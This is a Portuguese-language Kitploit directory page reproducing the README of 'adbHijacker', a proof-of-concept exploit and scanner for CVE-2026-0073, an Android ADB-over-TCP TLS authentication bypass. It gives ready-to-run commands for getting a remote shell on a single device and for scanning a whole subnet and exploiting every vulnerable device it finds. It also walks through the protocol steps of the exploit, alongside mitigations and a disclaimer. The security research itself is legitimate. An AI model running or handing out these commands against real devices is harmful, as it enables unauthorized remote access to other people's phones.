Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
adbHijacker — Uma ferramenta de PoC para o CVE-2026-0073 em dispositivos Android 11+ que permite RCE instantâneo de zero clique em qualquer dispositivo sem correção com adb sobre tcp habilitado | Kitploit
Ferramentas/GitHubGitHub/unnaim/adbhijacker
Segurança AndroidReconhecimentoAnálise de VulnerabilidadesExploraçãoSegurança de RedeTestes de PenetraçãoSegurança MóvelFerramenta de Acesso Remoto
GitHubunnaim/adbhijacker

adbHijacker

Uma ferramenta de PoC para o CVE-2026-0073 em dispositivos Android 11+ que permite RCE instantâneo de zero clique em qualquer dispositivo sem correção com adb sobre tcp habilitado

Ver Repositório
72há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0073 — Bypass de Autenticação TLS do ADB Android

Uma prova de conceito de exploit e scanner de rede para CVE-2026-0073, uma vulnerabilidade crítica de execução remota de código zero-click e sem interação no caminho de autenticação ADB-over-TCP do adbd do Android.

A vulnerabilidade é um bug de lógica em adbd_tls_verify_cert() (daemon/auth.cpp) onde EVP_PKEY_cmp() é tratado como um predicado booleano. Quando uma chave RSA armazenada é comparada com um certificado de cliente TLS não-RSA (EC P-256 ou Ed25519), a API retorna -1 (incompatibilidade de tipo), que é verdadeiro em C/C++. Isso promove uma incompatibilidade entre algoritmos para uma correspondência bem-sucedida de chave de host — contornando a autenticação por completo.

Detalhes técnicos obtidos de BARGHEST.
Código PoC base obtido de SecTestAnnaQuinn.
Corrigido no Android Security Bulletin — maio de 2026.


Impacto

A partir do contexto shell, um atacante pode inspecionar propriedades do sistema, estado de processos, logs, notificações; instalar e remover pacotes; usar run-as contra aplicativos depuráveis; e preparar exploração subsequente.


Arquivos

ArquivoFinalidade
adb_tls_auth_bypass.pyPoC de exploit para alvo único (original de SecTestAnnaQuinn, corrigido com checksum)
adbt_scanner.pyScanner de rede — descobre dispositivos vulneráveis + explora-os
requirements.txtDependências Python

Pré-requisitos (dispositivo alvo)

Para que o exploit tenha sucesso, o dispositivo Android alvo deve ter:

  1. Opções do desenvolvedor habilitadas
  2. Depuração sem fio ou ADB-over-TCP habilitado (o serviço TCP adbd da plataforma)
  3. Pelo menos uma chave de host RSA previamente pareada em /data/misc/adb/adb_keys
  4. Alcance de rede para a porta TCP do ADB (padrão 5555)

Configuração

root@kitploit:~
# Criar ambiente virtual
uv venv

# Ativá-lo
source .venv/bin/activate

# Instalar dependências
uv pip install -r requirements.txt

Dependências:

O scanner degrada-se graciosamente quando pacotes opcionais estão ausentes — ele avisará e recorrerá a métodos alternativos (comando ip do sistema, nmap, varredura de conexão TCP).


Uso

Modo 0 — Exploit direto para alvo único

Atacar um dispositivo vulnerável conhecido diretamente.

root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42              # shell interativo
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Ou via scanner:

root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42                # shell interativo
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Modo 1 — Escanear rede, identificar, explorar

Escanear a rede local em busca de dispositivos vulneráveis e explorar todos os alvos confirmados.

root@kitploit:~
# Varredura completa: mDNS → ARP → varredura de portas → sondagem ADB → exploit
python3 adbt_scanner.py --scan

# Executar um comando específico em todos os dispositivos vulneráveis
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Apenas reconhecimento — descobrir mas não explorar
python3 adbt_scanner.py --scan --no-exploit

# Escanear múltiplas portas
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Substituir sub-rede detectada (hosts multi-homed, faixas específicas)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Ajustar timeouts para redes lentas
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Estender janela de escuta mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Pular fases específicas de descoberta
python3 adbt_scanner.py --scan --no-mdns    # pular mDNS, apenas ARP
python3 adbt_scanner.py --scan --no-arp     # pular ARP, apenas mDNS

Referência da CLI do scanner

root@kitploit:~
--scan                    Escanear rede em busca de dispositivos vulneráveis + explorar
--host HOST               Exploit direto para alvo único
--port PORT               Porta ADB para o modo --host (padrão: 5555)
--cmd COMMAND             Comando de shell a executar
-v, --verbose             Log detalhado

--mdns-timeout SECONDS    Duração da escuta mDNS (padrão: 30)
--ports PORTS             Portas separadas por vírgula no modo --scan (padrão: 5555)
--subnet CIDR             Substituir sub-rede detectada (ex.: 192.168.2.0/24)
--connect-timeout SECONDS Timeout de conexão TCP (padrão: 2.0)
--probe-timeout SECONDS   Timeout de sondagem ADB (padrão: 3.0)
--arp-timeout SECONDS     Timeout de varredura ARP (padrão: 3)
--no-mdns                 Pular descoberta mDNS
--no-arp                  Pular varredura ARP + varredura de portas
--no-exploit              Parar após a fase de sondagem do protocolo ADB

Pipeline de descoberta

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. Detecção de sub-rede — netifaces → ip route → truque socket │
│ 2. Listener mDNS        — _adb-tls-connect._tcp (30s padrão) │
│ 3. Varredura ARP        — scapy.arping → nmap -sn            │
│ 4. Varredura de portas  — conexão TCP a cada host:porta      │
│ 5. Sondagem do protocolo ADB — enviar CNXN, classificar resposta │
│                                                             │
│    STLS   → VULNERÁVEL (prosseguir para exploit)            │
│    AUTH   → autenticação ADB legada (não é este CVE)        │
│    CNXN   → aberto, sem autenticação (já acessível)         │
│    NO_ADB → não é um serviço ADB                            │
│                                                             │
│ 6. Exploração           — upgrade TLS → bypass de auth → shell │
└─────────────────────────────────────────────────────────────┘

mDNS é o método de identificação mais preciso: quando a depuração sem fio está pareada, o Android transmite _adb-tls-connect._tcp explicitamente. A varredura ARP + varredura de portas serve como fallback abrangente.


Mecânica do exploit

root@kitploit:~
Fase 1 — ADB em texto claro
  Cliente → CNXN(payload="host::features=...")
  Dispositivo → STLS  (upgrade para TLS exigido)

Fase 2 — TLS 1.3 com certificado de cliente entre algoritmos
  Cliente → resposta STLS
  Cliente → handshake TLS 1.3 + certificado de cliente EC P-256
  Dispositivo chama adbd_tls_verify_cert():
    known_evp = chave RSA de /data/misc/adb/adb_keys
    evp_pkey  = chave EC P-256 do certificado do cliente
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (incompatibilidade de tipo)
    if (-1) → verified = true   ← BUG: -1 é verdadeiro

Fase 3 — Camada de serviço ADB pós-TLS
  Cliente drena CNXN do dispositivo (transporte já online)
  Nenhum CNXN de host enviado (acionaria o kick de handle_new_connection)
  Cliente → OPEN(local_id, window=32MB, payload="shell:\x00")
  Dispositivo → OKAY  → fluxo de shell estabelecido

Modelo de ameaça

Exposição direta à rede

  • Depuração sem fio deixada habilitada em uma rede não confiável (cafeteria, escritório, conferência)
  • ADB exposto à internet na porta 5555 (mais de 10.000 dispositivos observados apenas na Coreia durante pesquisa de exposição)

Criação de estado assistida por malware

  • Malware no dispositivo usa o Serviço de Acessibilidade para habilitar Opções do desenvolvedor, ativar depuração sem fio e parear uma chave de host — preparando o dispositivo para exploração remota por um par de rede

Limitações

  • Não é root. O exploit fornece um contexto shell (uid=2000). Comprometimento do kernel, acesso root e chaves de keystore com suporte de hardware exigem elevação adicional.
  • Exige uma chave pareada. O alvo deve ter pelo menos uma chave de host RSA em /data/misc/adb/adb_keys. Um dispositivo recém-redefinido com depuração sem fio habilitada, mas nunca pareado, não é vulnerável.
  • Exige o caminho STLS. Dispositivos que servem ADB via TCP por mecanismos legados (não-TLS) respondem com AUTH, não STLS, e não são afetados por este CVE.
  • Dispositivos corrigidos são imunes. O Android Security Bulletin de maio de 2026 inclui uma correção que altera a verificação EVP_PKEY_cmp para exigir um valor de retorno exato == 1.

Mitigação

  • Aplicar o Patch.
  • Desabilitar as Opções do desenvolvedor quando não estiverem ativamente em uso.
  • Desabilitar a depuração sem fio.
  • Não expor o ADB além da sua rede local confiável.

Referências

  • Android Security Bulletin — maio de 2026
  • Análise técnica por BARGHEST
  • Agradecimentos do Android
  • Commit do BoringSSL — normalização do valor de retorno de EVP_PKEY_cmp
  • Relatório do spyware Morpheus — Osservatorio Nessuno
  • MESH — ferramenta de segurança Android da BARGHEST

Aviso legal

Este software é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. As ferramentas e o código neste repositório destinam-se a ajudar profissionais de segurança, pesquisadores e proprietários de dispositivos:

  • A entender como o CVE-2026-0073 funciona no nível do protocolo
  • A auditar e avaliar seus próprios dispositivos e redes
  • A desenvolver e testar mitigações

Você não deve usar este software:

  • Contra qualquer dispositivo ou rede que você não possua ou para o qual não tenha permissão explícita por escrito para testar
  • Para qualquer finalidade ilegal ou em violação das leis aplicáveis
  • Para acessar, modificar ou exfiltrar dados sem autorização

O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições e pode resultar em penalidades criminais e civis. Os autores e contribuidores não assumem nenhuma responsabilidade por uso indevido, danos ou consequências legais decorrentes do uso deste software.

Use com responsabilidade. Conheça seu alvo. Obtenha permissão.


Licença

CC0 1.0 Universal — Sem Direitos Reservados.

Na medida permitida por lei, os autores renunciaram a todos os direitos autorais e direitos conexos ou vizinhos a este trabalho.

Baixar ferramenta
AtributoDetalhe
Vetor de ataqueRede (adjacente / proximal)
InteraçãoNenhuma (zero-click)
Privilégio obtidousuário shell (uid=2000), SELinux u:r:shell:s0
Primitiva de exploitAcesso remoto ao shell via ADB
CVSSCrítico (9.8)
PacoteUsado porObrigatório?
cryptographyAmbos os scripts (geração de certificado EC, TLS)Sim
netifacesScanner (detecção de sub-rede)Preferencial
zeroconfScanner (descoberta mDNS)Preferencial
scapyScanner (varredura ARP)Preferencial